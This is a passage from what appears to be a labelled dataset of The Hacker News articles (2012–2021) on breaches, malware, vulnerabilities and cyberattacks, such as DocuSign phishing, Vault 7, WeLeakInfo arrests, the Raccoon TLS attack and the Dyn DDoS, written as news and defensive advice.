""No content or any customer documents sent through DocuSign's eSignature system was accessed; and DocuSign's core eSignature service, envelopes and customer documents, and data remain secure,"" the company stressed.

How many victims?

The number of victims affected by the phishing campaign has not been confirmed, but DocuSign encourages its customers to use the DocuSign Trust Center to help them protect themselves and their employees from phishing attacks.

""Right now we are still acting on the results of our ongoing investigation and cannot comment on those details,"" the company said.

What is DocuSign doing?

In an attempt to protect its customers, DocuSign has immediately restricted unauthorized access to its system and placed further security controls in place to hardened the security of its systems.

The company is also actively working with law enforcement authorities on the investigation of this matter.

What should DocuSign customers do?

DocuSign recommended its users to delete any email with the following subject line:

Completed: [domain name] – Wire transfer for recipient-name Document Ready for Signature
Completed: [domain name/email address] – Accounting Invoice [Number] Document Ready for Signature.

If you receive any suspicious email, you should forward it to the company's spam address, advised DocuSign.

Also, if the email looks like it has come from DocuSign, just do not respond to that email or click on any link provided in the message.

Instead, access your documents directly by visiting DocuSign official website, and entering the unique security code provided at the bottom of every legit DocuSign email.

The company also informed its users that DocuSign never asks recipients to open any PDF, Office document or ZIP file in an email. Last but not the least, always make sure your antivirus software is up-to-date.

",Data_Breaches
WikiLeaks Won't Disclose CIA Exploits To Companies Until Certain Demands Are Met,https://thehackernews.com/2017/03/wikileaks-cia-hacking-exploits.html,"It's been over a week since Wikileaks promised to hand over more information on hacking tools and tactics of the Central Intelligence Agency (CIA) to the affected tech companies, following a leak of a roughly 8,761 documents that Wikileaks claimed belonged to CIA hacking units.

""We have decided to work with them, to give them some exclusive access to some of the technical details we have, so that fixes can be pushed out,"" WikiLeaks' founder Julian Assange said during a Facebook Live press conference last week.

However, it looks like the things aren't that easier for tech companies as they look.

After days of waiting, Assange made its first contact with Apple, Microsoft, and Google this week and finally made his intentions clear – no sharing of bugs and vulnerabilities the CIA is or was allegedly taking advantage of until certain demands are met.

Multiple anonymous sources familiar with the matter told Motherboard that Assange sent an email to Apple, Google, Microsoft and other companies mentioned in the Vault 7 Leak this week and instead of reporting the bugs and exploits found in the leaked CIA documents, he made some demands.

A document included in the email listed ""a series of conditions"" that the tech companies need to fulfill before gaining access to the actual technical details and code of the hacking tools the anti-secrecy organization has in its possession.

Although the exact conditions are still unclear, one of the sources mentioned a 90-day disclosure deadline, which would require tech companies to issue a patch for the vulnerabilities within a three-month timeframe.

It's also not clear if any of the affected tech companies plan to comply with Wikileaks' demands.

While major tech companies like Apple, Google and Microsoft said that their recent security updates had already fixed the bugs mentioned in Vault 7, they would probably need to check out what WikiLeaks has in its store to ensure proper deployment of patches.

What will happen next is entirely unclear, but since the CIA has had its hacking arsenal public, the best option for the agency is to personally disclose all those loopholes and exploits to the affected companies to keep itself and its citizens safe from hackers as well as foreign government.
""WikiLeaks and the government hold all the cards here, there's not much the tech companies can do on their own besides rabidly looking through their code to look for any issues that might be related,"" one of the anonymous sources said.
Vault 7 is just the beginning of WikiLeaks' Year Zero disclosure, as the group promised to release more from the government and intelligence agencies in coming weeks.

",Vulnerability
Police Arrest 21 WeLeakInfo Customers Who Bought Breached Personal Data,https://thehackernews.com/2020/12/police-arrest-21-weleakinfo-customers.html,"21 people have been arrested across the UK as part of a nationwide cyber crackdown targeting customers of WeLeakInfo[.]com, a now-defunct online service that had been previously selling access to data hacked from other websites.
The suspects used stolen personal credentials to commit further cyber and fraud offences, the UK National Crime Agency (NCA) said.
Of the 21 arrested — all men aged between 18 and 38 — nine have been detained on suspicion of Computer Misuse Act offences, nine for Fraud offences, and three are under investigation for both. The NCA also seized over £41,000 in bitcoin from the arrested individuals.
Earlier this January, the US Federal Bureau of Investigation (FBI), the NCA, the Netherlands National Police Corps, the German Bundeskriminalamt, and the Police Service of Northern Ireland jointly seized the domain of WeLeakInfo.com.
Launched in 2017, the service provided its users a search engine to access the personal information illegally obtained from over 10,000 data breaches and containing over 12 billion indexed stolen credentials, including, for example, names, email addresses, usernames, phone numbers, and passwords for online accounts.
On top of that, WeLeakInfo offered subscription plans, allowing unlimited searches and access to the results of these data breaches during the subscription period that lasted anywhere from one day ($2), one week ($7), one month ($25), or three months ($70).
The cheap subscriptions made the website accessible to even entry-level, apprentice-type hackers, letting them get hold of a huge cache of data for as little as $2 a day, and in turn, use those stolen passwords to mount credential stuffing attacks.
Following the domain's seizure in January, two 22-year-old men, one in the Netherlands and another in Northern Ireland, were arrested in connection with running the site. WeLeakInfo's Twitter handle has since gone quiet.
The NCA said besides being customers of the website, some of the arrested men had also purchased other cybercrime tools such as remote access Trojans (RATs) and crypters, with three other subjects found to be in possession of indecent images of children.
""Cyber criminals rely on the fact that people duplicate passwords on multiple sites and data breaches create the opportunity for fraudsters to exploit that,"" NCA's Paul Creffield said. ""Password hygiene is therefore extremely important.""

",Data_Breaches
Android iBanking Trojan Source Code Leaked Online,https://thehackernews.com/2014/02/android-ibanking-trojan-source-code-download.html,"Smartphone is the need of everyone today and so the first target of most of the Cyber Criminals. Malware authors are getting to know their market and are changing their way of operations. Since last year we have seen a rise in the number of hackers moving from the Blackhat into the Greyhat.

The Head of knowledge delivery and business development for RSA's FraudAction Group, Daniel Cohen warned users about the new threat via a company blog on Thursday, that explains everything about the malware app, called iBanking.

iBanking, a new mobile banking Trojan app which impersonates itself as an Android 'Security App', in order to deceive its victims, may intimidate a large number of users as now that its source code has been leaked online through an underground forum.

It will give an opportunity to a larger number of cybercriminals to launch attacks using this kind of ready-made mobile malware in the future.

Since many banking sites use two-factor authentication and transaction authorization systems in order to deal with the various threats, by sending unique one-time-use codes to their customers' registered phone numbers via SMS, but in order to defraud them, cyber criminals have started to create various mobile malware like iBanking to solve their purpose.
According to Security Researcher Daniel Cohen, the iBanking mobile bot is a relative all new to the mobile malware arena, and has been available for sale in the Underground Hacking Marketplace [Forum Link] since late last year for $5,000.
""We first saw the iBanking malware was distributed through HTML injection attacks on banking sites, social engineering victims into downloading a so called 'security app' for their Android devices,"" said the RSA researchers in a blog post.
In addition, with the iBanking malware, Computer malware is used to defeat the mobile-based security mechanisms used by the banking sites.

""Apart from the server-side source-code, the leaked files also include a builder that can un-pack the existing iBanking APK file and re-pack it with different configurations, essentially providing fraudsters with the means to create their own unique application,"" added Daniel Cohen.

In addition to SMS Sniffing, the iBanking app allows an attacker to redirect calls to any pre-defined phone number, capture audio using the device's microphone and steal other confidential data like call history log and the phone book contacts.

During the installation process, the malicious app attempts to Social Engineer the user into providing it with administrative rights, making its removal much more difficult.
""The malware is an example of the ongoing developments in the mobile malware space and we are now seeing the next generation of malicious apps being developed and commercialized in the underground, boasting web-based control panels and packing more data-stealing features,"" said Daniel and added that
""The malware's ability to capture SMS messages and audio recordings, as well as divert voice calls makes step-up authentication all the more challenging as fraudsters gain more control over the OOB device. This highlights the need for stronger authentication solutions capable of validating users' identities using multiple factors including biometric solutions.""
These Days, the malware apps are particularly dangerous as they are often designed to look as authentic as possible and one in five mobile threats are now bots, which is a sign that the complexity of Mobile Malware is increasing.

",Malware
Android Wi-Fi Direct Vulnerability Lets Hackers to Kick your Devices OFF,https://thehackernews.com/2015/01/WiFi-direct-android-hacking.html,"Security researchers from Core Security has reportedly found a Denial of Service (DoS) attack vulnerability in Android WiFi-Direct.

Android's WiFi-Direct is a wireless technology that allows two devices to establish a direct, peer-to-peer Wi-Fi connection without requiring a wireless router. Smartphones have been able to support Wi-Fi Direct for a while now.

According to the advisory, the remotely exploitable denial-of-service vulnerability is affecting a wide number of Android mobile devices when it scans for WiFi Direct devices. If exploited, the vulnerability would let an attacker force a reboot of a device.
""An attacker could send a specially crafted 802.11 Probe Response frame causing the Dalvik subsystem to reboot because of an Unhandle Exception on WiFiMonitor class,"" advisory states.
The Android WiFi-Direct vulnerability (CVE-2014-0997) affects:
Nexus 5 - Android 4.4.4
Nexus 4 - Android 4.4.4
LG D806 - Android 4.2.2
Samsung SM-T310 - Android 4.2.2
Motorola RAZR HD - Android 4.1.2
Wi-Fi Direct works much like Bluetooth, just with a longer range and more stability. Devices like printers and wireless mouses can employ Wi-Fi Direct as a direct connection from the computer. Also, if an object has Wi-Fi capabilities, it could also have Wi-Fi Direct, which could allow you to control it with your smartphone in near future.

Andres Blanco from the CoreLabs Team reported the vulnerability to Android Security team and Google classified its as low severity, and they are not much interested to release any patch quickly.

",Vulnerability
IT Giant Accenture Hit by LockBit Ransomware; Hackers Threaten to Leak Data,https://thehackernews.com/2021/08/it-giant-accenture-hit-by-lockbit.html,"Global IT consultancy giant Accenture has become the latest company to be hit by the LockBit ransomware gang, according to a post made by the operators on their dark web portal, likely filling a void left in the wake of DarkSide and REvil shutdown.
""These people are beyond privacy and security. I really hope that their services are better than what I saw as an insider,"" read a message posted on the data leak website. Accenture said it has since restored the affected systems from backups.
LockBit, like its now-defunct DarkSide and REvil counterparts, operates using a ransomware-as-a-service (RaaS) model, roping in other cybercriminals (aka affiliates) to carry out the intrusion using its platform, with the payments often divided between the criminal entity directing the attack and the core developers of the malware.
The ransomware group emerged on the threat landscape in September 2019, and in June 2021 launched LockBit 2.0 along with an advertising campaign to recruit new partners. ""LockBit also claims to offer the fastest data exfiltration on the market through StealBit, a data theft tool that can allegedly download 100 GB of data from compromised systems in under 20 minutes,"" Emsisoft noted in a profile of the crime syndicate.
Some of LockBit's past victims include the Press Trust of India and Merseyrail.
The development comes as ransomware incidents have become a critical threat to national and economic security that have left businesses scrambling to pay hefty extortion demands.
The spike in attacks against corporate and critical infrastructure have also been increasingly accompanied by a tactic called ""triple extortion,"" wherein sensitive data on a target's systems is extracted prior to locking up through encryption, followed by applying pressure on victim companies into paying up by threatening to publish the stolen data online, failing which, the attackers then adopt a third phase, using that data to blackmail its customers or launch DDoS attacks.
""Through our security controls and protocols, we identified irregular activity in one of our environments. We immediately contained the matter and isolated the affected servers. We fully restored our affected systems from back up. There was no impact on Accenture's operations, or on our clients' systems,"" Accenture said in a statement shared with The Hacker News.

",Cyber_Attack
Why Hackers Can't take down DNS root servers ?,https://thehackernews.com/2012/03/why-hackers-cant-take-down-dns-root.html,"Why Hackers Can't take down DNS root servers ?

Interpol Chief Ronald Noble on Friday warned that a group of hackers might try to shut down internet service tomorrow. The hacking group, Anonymous, is protesting against several reasons including the crash of Wall Street and irresponsible leaders.

There are 13 DNS servers that host the core databases for translating IP addresses. Anonymous hackers have announced ""Operation Global Blackout"", promising to cause an Internet-wide blackout by disabling the core DNS servers.

Anonymous Hackers wants to bombard those 13 servers with traffic using a distributed denial of service attack. If the servers get too overloaded, they'll crash and therefore be unable to fulfil DNS lookups rendering all domain names useless.

But there are lots of Limitations in this type of attack :
There are 13 Root Servers out there, It it not possible to shut down every of them. Even every root server is under control of various companies and they have different hardware and different ways to protect it. If any root server will get down, They can migrate it to other servers.
Anonymous Issue the Date i.e 31 march 2012 for there attack, obviously there will be 100's of Security Experts aware about the attack and working at backend for Security and resolving the issues.
Internet users don't use Root servers service directly, they are the master servers. Whereas internet users are connected to slave servers , provided by their internet service provider (ISP). Slave servers synchronice there data with root servers (master servers).
Root servers are implemented as clusters of hosts using anycast addressing. Anycasting is a tweek to the Internet routing table so that traffic destined for an IP address is redirected to a different local server.

Meanwhile, Interpol has launched Operation Unmask to deal with the group and arrested 31 alleged members in two different phases in February and March, 2012. There are around 2.3 billion internet users in the world and more than one million of them are affected by cybercrime every year while $388 billion dollars is the global cost of such crimes.

Conclusion : According to us ( The Hacker News) , Hackers strongly not able to shut down the internet. So what do you think , that Anonymous will manage to shut down the web?

",Malware
Latvian Woman Charged for Her Role in Creating Trickbot Banking Malware,https://thehackernews.com/2021/06/latvian-woman-charged-for-her-role-in.html,"The U.S. Department of Justice (DoJ) on Friday charged a Latvian woman for her alleged role as a programmer in a cybercrime gang that helped develop TrickBot malware.
The woman in question, Alla Witte, aka Max, 55, who resided in Paramaribo, Suriname, was arrested in Miami, Florida on February 6. Witte has been charged with 19 counts, including conspiracy to commit computer fraud and aggravated identity theft, wire and bank fraud affecting a financial institution, and money laundering.
According to heavily redacted court documents released by the DoJ, Witte and 16 other unnamed cohorts have been accused of running a transnational criminal organization to develop and deploy a digital suite of malware tools with an aim to target businesses and individuals worldwide for theft and ransom.
Since its origin as a banking Trojan in late 2015, TrickBot has evolved into a ""crimeware-as-a-service"" capable of pilfering valuable personal and financial information and even dropping ransomware and post-exploitation toolkits on compromised devices, in addition to recruiting them into a family of bots. The group is said to have primarily operated out of Russia, Belarus, Ukraine, and Suriname.
Largely propagated through phishing and malspam attacks, TrickBot is designed to capture online banking login credentials and hoover other personal information, such as credit card numbers, emails, passwords, dates of birth, social security numbers, and addresses, with the captured credentials abused to gain illicit access to online bank accounts, execute unauthorized electronic funds transfers, and launder the money through U.S. and foreign beneficiary accounts.
TrickBot also emerged on the threat landscape coinciding with the disbanding of the malware crew behind Dyre after the latter's rapid rise to prominence was curtailed in November 2015, when Russia's Federal Security Service (FSB) purportedly made numerous arrests of individuals suspected of being part of the group.
""In the months and years following the Russian authorities' purported actions, the Dyre actors regrouped and created a new suite of malware tools known as Trickbot,"" the DoJ said.
Accusing the defendants of plundering money and confidential information from unsuspecting businesses and financial institutions in the U.S., U.K., Australia, Belgium, Canada, Germany, India, Italy, Mexico, Spain, and Russia, the DoJ said Witte was a malware developer ""overseeing the creation of code related to the monitoring and tracking of authorized users of the Trickbot malware, the control and deployment of ransomware, obtaining payments from ransomware victims, and developing tools and protocols for the storage of credentials stolen and exfiltrated from victims infected by Trickbot.""
TrickBot notably suffered a huge blow to its infrastructure following twin efforts led by the U.S. Cyber Command and Microsoft to eliminate 94% of its command-and-control (C2) servers that were in use as well as any new servers the criminals operating TrickBot attempted to bring online to replace the previously disabled servers.
But these takedowns have only served as a temporary solution. Not only has the malware proven to be resilient to law enforcement actions, the operators have also bounced back by adjusting tactics and hosting their malware in other criminal servers that make use of Mikrotik routers.
""Witte and her associates are accused of infecting tens of millions of computers worldwide, in an effort to steal financial information to ultimately siphon off millions of dollars through compromised computer systems,"" said Special Agent in Charge Eric B. Smith of the FBI's Cleveland Field Office. ""Cyber intrusions and malware infections take significant time, expertise, and investigative effort, but the FBI will ensure these hackers are held accountable, no matter where they reside or how anonymous they think they are.""
If convicted on all charges, Witte faces a maximum penalty of no fewer than 90 years in prison.

",Malware
Air India Hack Exposes Credit Card and Passport Info of 4.5 Million Passengers,https://thehackernews.com/2021/05/indias-flag-carrier-airline-air-india.html,"India's flag carrier airline, Air India, has disclosed a data breach affecting 4.5 million of its customers over a period stretching nearly 10 years after its Passenger Service System (PSS) provider SITA fell victim to a cyber attack earlier this year.
The breach involves personal data registered between Aug. 26, 2011 and Feb. 3, 2021, including details such as names, dates of birth, contact information, passport information, ticket information, Star Alliance, and Air India frequent flyer data as well as credit card data. But Air India said neither CVV/CVC numbers associated with the credit cards nor passwords were affected.
The airline had previously acknowledged the breach on March 19, stating that ""its Passenger Service System provider has informed about a sophisticated cyber attack it was subjected to in the last week of February 2021.""
In March, Swiss aviation information technology company SITA disclosed it suffered a ""highly sophisticated attack"" on its servers located in Atlanta, leading to a compromise of passenger data stored in its PSS system. SITA PSS is used by many carriers for processing airline passenger data as part of their frequent flyer programs.
Air India data breached in a major Cyber attack. Breach involves Passengers personal Information including Credit Card Info and Passport Details. Other Global Airlines are likely affected too.#airindia #CyberAttack @airindiain@rahulkanwal @sanket @maryashakil pic.twitter.com/XxUORgInJQ
— Jiten Jain (@jiten_jain) May 21, 2021
With the latest development, Air India joins a long list of airlines, such as Lufthansa, Cathay Pacific, Air New Zealand, Singapore Airlines, Scandinavian Airlines (SAS), Finnair, Malaysia Airlines, South Korea's Jeju Air, American Airlines, and United Airlines that have been impacted by the data security incident.
As part of its investigation into the event, Air India said it engaged external specialists and that it notified credit card issuers of the issue, besides resetting passwords of its frequent flyer program. The airline is also urging users to change passwords wherever applicable to thwart potential unauthorized attempts and ensure the safety of their personal data.
UPDATE: According to DarkTracer, the personal information stolen from Air India following the SITA PSS server breach is now being allegedly sold on underground data sale forums for $3,000.

",Malware
New Raccoon Attack Could Let Attackers Break SSL/TLS Encryption,https://thehackernews.com/2020/09/raccoon-ssl-tls-encryption.html,"A group of researchers has detailed a new timing vulnerability in Transport Layer Security (TLS) protocol that could potentially allow an attacker to break the encryption and read sensitive communication under specific conditions.

Dubbed ""Raccoon Attack,"" the server-side attack exploits a side-channel in the cryptographic protocol (versions 1.2 and lower) to extract the shared secret key used for secure communications between two parties.

""The root cause for this side channel is that the TLS standard encourages non-constant-time processing of the DH secret,"" the researchers explained their findings in a paper. ""If the server reuses ephemeral keys, this side channel may allow an attacker to recover the premaster secret by solving an instance of the Hidden Number Problem.""

However, the academics stated that the vulnerability is hard to exploit and relies on very precise timing measurements and on a specific server configuration to be exploitable.

A Timing Attack to Leak Secret Keys

Using time measurements to compromise a cryptosystem and leak sensitive information has been the heart of many timing attacks, and Raccoon employs the same strategy to the Diffie-Hellman (DH) key exchange process during a TLS handshake, which is crucial to trading data over a public network securely.

This shared secret key generated during the exchange enables secure browsing on the Internet, allowing users to safely visit websites by protecting the communications against eavesdropping and man-in-the-middle (MitM) attacks.

To break this security wall, the malicious party records the handshake messages between a client and server, using it to initiate new handshakes to the same server, and subsequently measuring the time it takes for the server to respond to the operations involved in deriving the shared key.


It's worth noting that ""DH secrets with leading zeroes will result in a faster server KDF computation, and hence a shorter server response time.""

Assuming the attacker can identify this edge case, it allows the bad actor to decipher the secret key of the original handshake and ultimately decrypt the TLS traffic to recover its contents in plaintext.

But the attack has its constraints. It necessitates that the server reuses the same DH ephemeral key (a mode called DHE) across sessions and that the attacker is as close to the target server as possible to perform high precision timing measurements.

F5, Microsoft, Mozilla, and OpenSSL Release Security Updates

While Raccoon may be hard to replicate in the real world, several F5 products were found to be vulnerable to a ""special"" version of the attack (CVE-2020-5929) without resorting to timing measurements by directly observing the contents of server responses.

F5, Microsoft, Mozilla, and OpenSSL have all released patches to thwart the attack by addressing the concern with ephemeral key reuse. For its part, Mozilla has turned off DH and DHE cipher suites in its Firefox browser, and Microsoft's advisory recommends customers to disable TLS_DHE.

With ephemeral keys crucial for ensuring forward secrecy, the research is another reason why reusing cryptographic keys can undermine security.

""Our attack exploits the fact that servers may reuse the secret DH exponent for many sessions, thus forgoing forward secrecy,"" the researchers concluded.

""In this context, Raccoon teaches a lesson for protocol security: For protocols where some cryptographic secrets can be continuously queried by one of the parties, the attack surface is made broader. The Raccoon attack showed that we should be careful when giving attackers access to such queries.""

",Cyber_Attack
Massive DDoS Attack Against Dyn DNS Service Knocks Popular Sites Offline,https://thehackernews.com/2016/10/dyn-dns-ddos.html,"UPDATE — How an army of million of hacked Internet-connected smart devices almost broke the Internet today.

Cyber attacks are getting evil and worst nightmare for companies day-by-day, and the Distributed Denial of Service (DDoS) attack is one such attacks that cause a massive damage to any service.

Recently, the Internet witnessed a record-breaking largest DDoS attack of over 1 Tbps against France-based hosting provider OVH, and now the latest victim of the attack is none other than Dyn DNS provider.

A sudden outage of popular sites and services, including Twitter, SoundCloud, Spotify, and Shopify, for many users, is causing uproar online. It's because of a DDoS attack against the popular Domain Name System (DNS) service provider Dyn, according to a post on Ycombinator.

DNS act as the authoritative reference for mapping domain names to IP addresses. In other words, DNS is simply an Internet's phone book that resolves human-readable web addresses, like thehackernews.com, against IP addresses.

Dyn DNS is used by many websites and services as their upstream DNS provider, including Twitter, Spotify, SaneBox, Reddit, Box, Github, Zoho CRM, PayPal, Airbnb, Freshbooks, Wired.com, Pinterest, Heroku and Vox Media properties.

All of these sites and services are reportedly experiencing outages and downtime, either completely or partially.

Here's an internet outage map from Level3:
According to Dyn DNS, the DDOS started at 11:10 UTC and is mostly affecting its customers in the East Coast of the United States, specifically Managed DNS customers.
""We are aware of the ongoing service interruption of our Managed DNS network. For more information visit our status page,"" Dyn tweeted.
At the time, it's not clear who is behind this DDoS attack, but the company said its engineers are working on ""mitigating"" the issue.

Here's the statement posted by Dyn on its website:
""This attack is mainly impacting US East and is impacting Managed DNS customers in this region. Our Engineers are continuing to work on mitigating this issue.

Starting at 11:10 UTC on October 21th-Friday 2016 we began monitoring and mitigating a DDoS attack against our Dyn Managed DNS infrastructure. Some customers may experience increased DNS query latency and delayed zone propagation during this time. Updates will be posted as information becomes available.

Customers with questions or concerns are encouraged to reach out to our Technical Support Team.""
What websites are down for you? Let us know in the comments below.

We'll update the story as soon as we get to hear more about the attack. Stay Tuned!

",Cyber_Attack
"University Pays Hackers $20,000 to get back its Ransomware Infected Files",https://thehackernews.com/2016/06/university-ransomware.html,"What's the worst that could happen when a Ransomware malware hits University?

Last month, the IT department of the University from where I have done my graduation called me for helping them get rid of a Ransomware infection that locked down all its student's results just a day before the announcement.

Unfortunately, there was no decrypter available for that specific ransomware sample, but luckily they had the digital backup for the examination results in the form of hundreds of excel sheets.

So, somehow backup helped administrator to re-compile complete result once again into the database, but this delayed the announcement for over 30 days.

However, the situation is not same every time.

Recently, the University of Calgary in Alberta paid a ransom of $20,000 to decrypt their computer systems' files and regain access to its own email system after getting hit by a ransomware infection.

The University fell victim to ransomware last month, when the malware installed itself on computers, encrypted all documents and demanded $20,000 in Bitcoins to recover the data.

Also Read: Ransomware attacks on Hospitals put Patients at Risk

Since the University obviously was not properly backing up the data, the administrators have agreed to pay up the ransom amount, the university announced in a release Tuesday, after a cyber attack that left students and staff unable to access university-issued PCs, email or Skype.
""As part of efforts to maintain all options to address these systems issues, the university has paid a ransom totaling about $20,000 CDN that was demanded as part of this 'ransomware' attack,"" Linda Dalgetty, VP of finance and services at the University said in a release.
The University assured its staff and students that no personal or University data was released to the public and that it is working with Calgary police to investigate the cyber attack that affected more than 100 computers.

The university's IT department is still in the process of assessing and evaluating the decryption keys and is working to recover data and ensure all of the affected systems are operational again.

The University also confirmed the decryption keys provided by the attacker worked successfully. The email service for its students and staff was brought back yesterday, but not on the original University system.

The University did not further comment on how the infection made its way into their systems and networks.

Also Read: Ransomware attacks Shuts Down Electric and Water Utility.

We saw an enormous rise in Ransomware threats, both in numbers and sophistication. You would be surprised to know about the latest version of Cerber ransomware that generates a different sample in every 15 seconds in order to bypass signature-based antivirus software.

One of the best first steps in securing your environment is to deploy automated and isolated backup mechanism, along with an Intrusion detection system (IDS) at the network level as well as host-based IDS on your critical assets.

IDS gives you detailed insight into what exactly is coming across the wire, instead of just relying on signature-based antivirus and anti-malware software.

You can try AlienVault Unified Security Management (USM) that includes an inbuilt IDS with SIEM and real-time threat intelligence to help you quickly detect malware and other threats in your network.

",Malware
Millions of Android Devices Using Broadcom Wi-Fi Chip Can Be Hacked Remotely,https://thehackernews.com/2017/07/android-ios-broadcom-hacking.html,"Google has released its latest monthly security update for Android devices, including a serious bug in some Broadcom Wi-Fi chipsets that affects millions of Android devices, as well as some iPhone models.

Dubbed BroadPwn, the critical remote code execution vulnerability resides in Broadcom's BCM43xx family of WiFi chipsets, which can be triggered remotely without user interaction, allows a remote attacker to execute malicious code on targeted Android devices with kernel privileges.
""The most severe vulnerability in this [runtime] section could enable a remote attacker using a specially crafted file to execute arbitrary code within the context of an unprivileged process,"" Google describes in the July 2017 Android Security Bulletin.
The BroadPwn vulnerability (CVE-2017-3544) has been discovered by Exodus Intelligence researcher Nitay Artenstein, who says the flawed Wi-Fi chipset also impacts Apple iOS devices.

Since Artenstein will be presenting his finding at Black Hat 2017 event, details about the BroadPwn bug is scarce at this moment.
""The Broadcom BCM43xx family of Wi-Fi chips is found in an extraordinarily wide range of mobile devices – from various iPhone models to HTC, LG, Nexus and practically the full range of Samsung flagship devices,"" the abstract for Artenstein's talk says.
Besides the fix for the BroadPwn vulnerability, July's Android Security Bulletin includes patches for 10 critical, which are all remote code execution bugs, 94 high and 32 moderate rated vulnerabilities.

Two months ago, an over-the-air hijacking vulnerability was discovered in Broadcom WiFi SoC (Software-on-Chip) chips, allowing attackers within the same WiFi network to remotely hack, iPhones, iPads, iPods and Android handsets without any user interaction.

At that time, Apple rushed out an emergency iOS patch update to address the serious bug, and Google addressed the flaw in its Android April 2017 security updates.

Android Security Bulletin: July 2017 Updates

Among the other critical flaws is a long list of vulnerabilities in the Mediaserver process in the Android operating system, which also allows attackers to perform remote code execution on the affected devices.

One of the vulnerabilities is an issue with the way the framework handles some specific files. The libhevc library has an input validation vulnerability (CVE-2017-0540), which can be exploited using a crafted file.
""A remote code execution vulnerability in libhevc in Mediaserver could enable an attacker using a specially crafted file to cause memory corruption during media file and data processing,"" the vulnerability description says.
""This issue is rated as Critical due to the possibility of remote code execution within the context of the Mediaserver process.""
The over-the-air updates and firmware for Google devices have already been issued by the company for its Pixel and Nexus devices, though rest of Android still need to wait for an update from their OEMs, leaving million of Android devices vulnerable for next few months.

",Vulnerability
Take down of fifth most widespread 'Virut Botnet',https://thehackernews.com/2013/01/take-down-of-fifth-most-widespread.html,"NASK the domain registrar that operates the "".pl"" Polish top-level domain registry has seized multiple domains used for cyber crime activities by spreading Waledac malware distributed by the Virut botnet. According to Poland's Computer Emergency Response Team, Virut was first detected in 2006 and became a serious threat with an estimated size of more than 300,000 compromised computers.


NASK said that on Thursday it began assuming control over 23 .pl domains that were being used to operate the Virut network. Virut was responsible for 5.5% of infections in Q3 2012, making it the fifth most widespread threat of the time.

They determined that botnet consists of more than 308,000 uniquely compromised machines and that its primary function is to pump out spam and other malicious emails. The most recent take down effort was in December 2012. Unfortunately, the Virut botnet gang managed to get the malicious botnet domain names moved to a new registrar called home.pl quickly.

Symantec reported that with some 77,000 Waledac infected machines within the Virut botnet generating an average of 2,000 spam messages an hour for somewhere between 8 and 24 hours a day.

The Virut take down effort clearly illustrates the important and meaningful role registries and registrars can play in the fight against cyber crime in general. How long the shut-down of Virut will last this time is unknown.

",Malware
Tor Browser Zero-Day Exploit Revealed Online – Patch Now,https://thehackernews.com/2018/09/tor-browser-zero-day-exploit.html,"Zerodium, the infamous exploit vendor that earlier this year offered $1 million for submitting a zero-day exploit for Tor Browser, today publicly revealed a critical zero-day flaw in the anonymous browsing software that could reveal your identity to the sites you visit.

In a Tweet, Zerodium shared a zero-day vulnerability that resides in the NoScript browser plugin comes pre-installed with the Mozilla Firefox bundled in the Tor software.

NoScript is a free browser extension that blocks malicious JavaScript, Java, Flash and other potentially dangerous content on all web pages by default, though users can whitelist sites they trust.

According to Zerodium, NoScript ""Classic"" versions 5.0.4 to 5.1.8.6--with 'Safest' security level enabled--included in Tor Browser 7.5.6 can be bypassed to run any JavaScript file by changing its content-type header to JSON format.

In other words, a website can exploit this vulnerability to execute malicious JavaScript on victims' Tor browsers to effectively identify their real IP address.

It should be noted that the latest version of Tor browser, i.e., Tor 8.0, is not vulnerable to this flaw, as the NoScript plugin designed for the newer version of Firefox (""Quantum"") is based upon a different API format.

Therefore, Tor 7.x users are highly recommended to immediately update their browser to the latest Tor 8.0 release.

NoScript has also fixed the zero-day flaw with the release of NoScript ""Classic"" version 5.1.8.7.


",Vulnerability
CISCO vulnerability allows remote attacker to take control of Windows system,https://thehackernews.com/2013/08/cisco-vulnerability-allows-remote.html,"Cisco has fixed a critical vulnerability in Secure Access Control Server for Windows that could allow remote attackers to execute arbitrary commands and take control of the underlying operating system.
Cisco Secure ACS is an application that allows companies to centrally manage access to network resources for various types of devices and users.

The reported flaw affects Cisco Secure ACS for Windows versions 4.0 through 4.2.1.15. Successful exploitation requires that Cisco Secure Access Control Server is configured as a RADIUS server EAP-FAST authentication.

The Cisco Security advisory said:
""The vulnerability is due to improper parsing of user identities used for EAP-FAST authentication. An attacker could exploit this vulnerability by sending crafted EAP-FAST packets to an affected device. An exploit could allow the attacker to execute arbitrary commands on the Cisco Secure ACS server and take full control of the affected server,""

The newly patched vulnerability is identified as CVE-2013-3466 and received the maximum severity score, 10.0 in the Common Vulnerability Scoring System (CVSS).

Cisco has released free software updates that address the vulnerability described in this advisory. This vulnerability is first fixed in Cisco Secure ACS for Windows release 4.2.1.15.11.

",Vulnerability
MtGox Hacker tricks people to install Bitcoin Stealer,https://thehackernews.com/2014/03/mtgox-hacker-tricks-people-to-install.html,"This News will blow everyone's mind! If you are a bitcoins holder then you might be aware of MtGox, Once the World's biggest Bitcoin exchange. MtGox filed for bankruptcy last month after saying it lost some 8,50,000 Bitcoins to hackers and suddenly went dark with no explanations.

A few days ago, some unknown hacker breached into the personal blog and Reddit account of MTgox CEO, Mark Karpeles to level charges of fraud. But, Hackers are very clever to avail every eventuality they get.

After compromising the MtGox CEO's blog, the hacker posted a 716MB ZIP file, MtGox2014Leak.zip, which contains the data dump and specialized software tools for remote access to MtGox data, but these software tools turned out to be a Bitcoin wallet stealing malware, according to the research carried out by the Kaspersky Lab Expert, Sergey Lozhkin.

The application was actually a malware, which was created to search and steal Bitcoin wallet files from the victims' computer. The hackers took advantage of the people keen interest in the latest MtGox topic that abruptly stopped trading because of security lapse.

The Executable uploaded along with the archive tricks users into believing that they have access to databases of MtGox using the software, which is in fact a Bitcoin Miner.
So, the whole MtGox leak was invented to infect the victims' computers with Bitcoin stealer malware.
""We detect the Windows Trojan (MD5:c4e99fdcd40bee6eb6ce85167969348d), a 4.3MB PE32 executable, as Trojan.Win32.CoinStealer.i and OSX variant as Trojan.OSX.Coinstealer.a. Both have been created with the Livecode programming language – an open-source and cross-platform application development language."" according to Kaspersky.
The malware works on both Mac OS X and Windows, executes the TibanneSocket.exe binary. It would seek out bitcoins (bitcoin.conf and wallet.dat files) on an infected computer and then send them to the Command and Control server of the malware, which was located in Bulgaria, but down for now.

Readers are advised to keep an eye on the spam emails, dressed up to look like MtGox emails and asking for MtGox and bank account details. Do not download softwares from non-trusted sources and keep your antivirus up-to-date. Stay Secure!

",Malware
Snapd Flaw Lets Attackers Gain Root Access On Linux Systems,https://thehackernews.com/2019/02/snapd-linux-privilege-escalation.html,"Ubuntu and some other Linux distributions suffer from a severe privilege escalation vulnerability that could allow a local attacker or a malicious program to obtain root privileges and total control over the targeted system.

